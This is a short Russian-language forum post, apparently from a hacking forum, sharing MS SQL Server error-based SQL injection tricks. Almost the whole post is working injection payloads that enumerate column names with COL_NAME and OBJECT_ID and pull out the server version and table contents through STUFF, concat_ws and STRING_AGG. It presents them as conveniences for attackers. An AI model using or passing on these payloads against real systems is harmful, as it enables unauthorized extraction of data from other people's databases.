Показать сообщение отдельно

  #4  
Старый 01.12.2019, 17:55
Baskin-Robbins
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
Провел на форуме:
92829

Репутация: 212
По умолчанию

Еще раз про подбор колонок, старая фича

Код:
152 and 1=COL_NAME(OBJECT_ID('master.sys.routes'), n)
где n номер колонки

Как альтернатива + и concat, в некоторой степени можно использовать STUFF

Код:
152 and 1=(SELECT top 1 (STUFF(@@version,1,0,zoneid)) FROM webkits..zones) --%20
1 -- позиция для вставки

0 -- определяет, какое количество символов следует удалить после вставки

C 2017 версии появилась concat_ws -- немного удобства для нас

Код:
152 and 1=concat_ws('A',(COL_NAME(OBJECT_ID('master.sys.routes'),3)),(COL_NAME(OBJECT_ID('master.sys.routes'), 2))) --%20
Так же с 2017 версии появился полноценный group_concat - привычно и удобно.

Код:
152 and 1=(SELECT STRING_AGG(zoneid, char(35)) FROM webkits..zones) --%20